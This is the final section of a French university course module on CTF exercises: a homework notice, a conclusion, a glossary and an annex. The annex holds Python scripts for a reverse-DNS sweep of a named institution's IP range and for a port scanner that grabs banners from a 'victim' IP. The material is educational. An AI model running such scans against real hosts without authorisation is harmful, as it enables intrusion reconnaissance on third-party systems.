
Dans cette section, nous allons vous proposer un DM que nous avons réalisé pour vous et qui se nomme CTF Mr Robot. Vous pouvez dès à présent le télécharger sur le FTP de l’IUT au format OVA. Le DM sera prit en note bonus dans les TP. Si votre note de TP est déjà de 20, ce bonus sera basculé sur le DS. Bonne chance à vous.

Conclusion

Au cours de ce module consacré au CTF, nous avons eu l’occasion d’effectuer de nombreuses recherches afin de comprendre ce qu’était réellement un CTF. Nous avons pu constater qu’il existe de nombreux domaines dans lesquels peuvent se dérouler des CTFs, ce qui implique ainsi une multitude d’outils qui ont été sélectionnés pour affiner notre approche sur le sujet. En effet, tous ces outils sont plus ou moins complexes et proposent pour la plupart une grande variété d’options ou de modes d’utilisations. Avec l’aide de Kali Linux, nous avons donc pu apprendre à manier les principaux outils, que nous considérons comme les bases pour réaliser un CTF (Nmap, Nitko, Dirbuster, Metasploit, etc...). Il faut tout de même se rappeler que ce n’est pas la distribution qui permet le pentesting mais les outils qu’elle contient.

Sixième partie

Glossaire

CTF

Capture The Flag, voir https://fr.wikipedia.org/wiki/Capture_du_drapeau

ARP

Address Resolution Protocol, voir https://en.wikipedia.org/wiki/Address_Resolution_Protocol

DNS

Domain Name System, voir https://www.frameip.com/dns/

MAC

Media Access Control, voir https://fr.wikipedia.org/wiki/Adresse_MAC

TCP

Transmission Control Protocol, voir https://fr.wikipedia.org/wiki/Transmission_Control_Protocol

UDP

User Datagram Protocol, voir https://fr.wikipedia.org/wiki/User_Datagram_Protocol

HTTP

Hypertext Transfer Protocol, voir https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol

HTML

Hypertext Markup Language, voir https://fr.wikipedia.org/wiki/Hypertext_Markup_Language

CLI

Command Line Interface, voir https://fr.wikipedia.org/wiki/Interface_en_ligne_de_commande

GUI

Graphical User Interface, voir https://fr.wikipedia.org/wiki/Interface_graphique

XSS

Cross-site scripting, voir https://fr.wikipedia.org/wiki/Cross-site_scripting

SQL

Structured Query Language, voir https://fr.wikipedia.org/wiki/Structured_Query_Language

PHP

Hypertext Preprocessor, voir https://www.php.net/

OSI

Open Systems Interconnection, voir https://fr.wikipedia.org/wiki/Modèle_OSI

LAN

Local Area Network , voir https://fr.wikipedia.org/wiki/Réseau_local

IDS

Intrusion Detection System, voir https://fr.wikipedia.org/wiki/Système_de_détection_d'intrusion

DLL

Dynamic Link Library, voir https://fr.wikipedia.org/wiki/Dynamic_Link_Library

Bibliographie

Annexe

*Script Nslookup

    ""Script permettant de faire une résolution DNS sur la plage ip 193.51.33.0/24""
    import socket
    import subprocess
    i = 0
    str2 = "193.51.33.",i     #Ip du domaine uvsq.fr
    for i in range (1,255):
        ip = "193.51.33.{0}".format(i)
        print(socket.gethostbyaddr(ip))     #Utilisation de socket pour pouvoir effectuer la  requête DNS
    

[fig:nslookup]

*Script Nmap

#! /usr/bin/env python3
import os
import socket
import subprocess
import time
from tqdm import tqdm #barre d'avancement
import re		#Matche la regex
#import chardet #Ne fonctionne malheuresement pas correctement

def match (string,reg):
	"""Va renvoyer la valeur du match de la regex : None = mauvaise regex ou encodage"""
	test=re.match(reg, string)
	return test

def requestversion(request, port):
	"""Va envoyer la requête au port voulu et retourner le port, le nom et la version"""
	name=services(port)
	if name =='microsoft-ds' and port == 445: 	#nmap simple trouve microsoft tandis que nmap -sV trouve netbios-ssn, sûrement une erreur dans le dictionnaire...
		name=services(139)
	connection.send(request)
	version=connection.recv(2000)			#Problème ici de codec. Oui tout le monde n'utilise pas l'unicode
	#code=chardet.detect(version) 			#Ne fonctionne pas ! Renvoi un codec non fonctionnel et qui varie 
	#print(code)
	l=['ascii','big5','big5hkscs','cp037','cp273','cp424','cp437','cp500','cp720','cp737','cp775','cp850','cp852','cp855','cp856','cp857','cp858',
	'cp860','cp861','cp862','cp863','cp864','cp865','cp866','cp869','cp874','cp875','cp932','cp949','cp950','cp1006','cp1026','cp1125','cp1140',
	'cp1250','cp1251','cp1252','cp1253','cp1254','cp1255','cp1256','cp1257','cp1258','cp65001','euc_jp','euc_jis_2004','euc_jisx0213', 'euc_kr',
	 'gb2312','gbk','gb18030','hz','iso2022_jp','iso2022_jp_1','iso2022_jp_2','iso2022_jp_2004','iso2022_jp_3','iso2022_jp_ext','iso2022_kr',
	 'latin_1','iso8859_2','iso8859_3','iso8859_4','iso8859_5','iso8859_6','iso8859_7','iso8859_8','iso8859_9','iso8859_10','iso8859_11',
	 'iso8859_13','iso8859_14','iso8859_15','iso8859_16','johab','koi8_r','koi8_t','koi8_u','kz1048','mac_cyrillic','mac_greek','mac_iceland',
	 'mac_latin2','mac_roman','mac_turkish','ptcp154','shift_jis','shift_jis_2004','shift_jisx0213','utf_32','utf_32_be','utf_32_le',
	 'utf_16','utf_16_be','utf_16_le','utf_7','utf_8','utf_8_sig','iso8859-15']
#Cette liste de codecs va donc être utilisée pour matcher la regex
	with open("nmap-service-probes","r") as g:	#Ouverture de nmap-service-probes pour matcher et récuperer le proto et la version	
		ligne=g.readlines()
	b=0	
	while b <len(ligne):				#Pour chaque ligne du fichier
		espace=ligne[b].split()			#On découpe en espace
		if len(espace) > 1:				#Si la phrase contient plusieurs espaces, on enlève ainsi toutes les phrases sans valeurs
			if espace[0] == 'match' and espace[1] == name:	#Si la phrase commence par match et par notre service
				trio=ligne[b].split(" ",2)	#On sépare cette phrase en trois : match, le service et le reste
				reg=trio[2].split(" p/")	#On isole la regex du reste
				regp=reg[0].replace("m|","").replace("m=","").replace("|s","").replace("=s","")	#On rend "pur" la regex"
				n=0
				while n < len(l) :	#Le but ici est de tester tous les encodages et regex pour matcher
					try:
						try :
							v2=version.decode()
						except (LookupError,UnicodeDecodeError):
							v2=version.decode(l[n],'ignore')
						if match(v2,regp) :	#Si ça match, après test, il y en a plusieurs au sein de service-probes
							sproto=reg[1].split('/ v/')#On va donc essayer d'en éliminer pour récupérer que celui avec v/ soit la version
							if len(sproto) >1:	#L'élimination se fait ici
								prot=sproto[0]	#Le protocole est la première partie de ce split
								sversion=sproto[1].split('/ i/')
								if len(sversion) > 1:
									ver=sversion[0]	#La version se récupère de la même manière que le protocole
									version=prot+ver
									n=len(l)
									b=len(ligne)
								else:
									n=len(l)
							else :
								n=len(l)
						else:
							n+=1
					except LookupError :		#LookupError est obtenue lorsque l'on ne peut pas décoder la version
						n+=1
		b+=1
	connection.close()
	return port, name , version



def services(port) :							
	"""Retourne le service du port fourni"""
	with open("nmap-services","r") as f:		#Ouverture du fichier nmap-services où sont sotckés les noms des services
		list1 = f.readlines()
	for l in list1:
		test=(l.split()[1])						#nmap-services contient les ports en tcp et udp et on veut du tcp
		test2=test.split('/')
		if test2[1] != "udp" and test2[0] == str(port): #On récupère le nom en fonction du port
			return l.split()[0]

if __name__=="__main__":	
	os.system('clear')
	ip_dest=input("Entre ip victime : ")
	port=1
	time1=time.time()
	list_port=list()
	port_name=list()
	banner=list()
	for i in tqdm(range(1000)):					#On scanne ici les 1000 premiers ports
		connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #On ouvre le socket
		essai=connection.connect_ex((ip_dest, port))	#On essaie de se connecter, renvoi 0 si c'est une réussite
		if essai== 0:
			port, name, version = requestversion(b'\0\0\0\xa4\xff\x53\x4d\x42\x72\0\0\0\0\x08\x01\x40\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x40\x06\0\0\x01\0\0\x81\0\x02PC NETWORK PROGRAM 1.0\0\x02MICROSOFT NETWORKS 1.03\0\x02MICROSOFT NETWORKS 3.0\0\x02LANMAN1.0\0\x02LM1.2X002\0\x02Samba\0\x02NT LANMAN 1.0\0\x02NT LM 0.12\0',port)								#Requête pour les ports 139 et 445 trouvé dans nmap-service-probes


			port_name.append(port)			#Pour chaque port ouvert, on enregistre son nom, son port et sa version
			list_port.append(name)
			banner.append(version)
		port+=1
	for i in range (len(list_port)):		#On affiche le tout à la fin du scan
		print(list_port[i],port_name[i],banner[i])
	time2=time.time()-time1
	connection.close()
	print("Time of the scan :",time2)

[fig:prog1]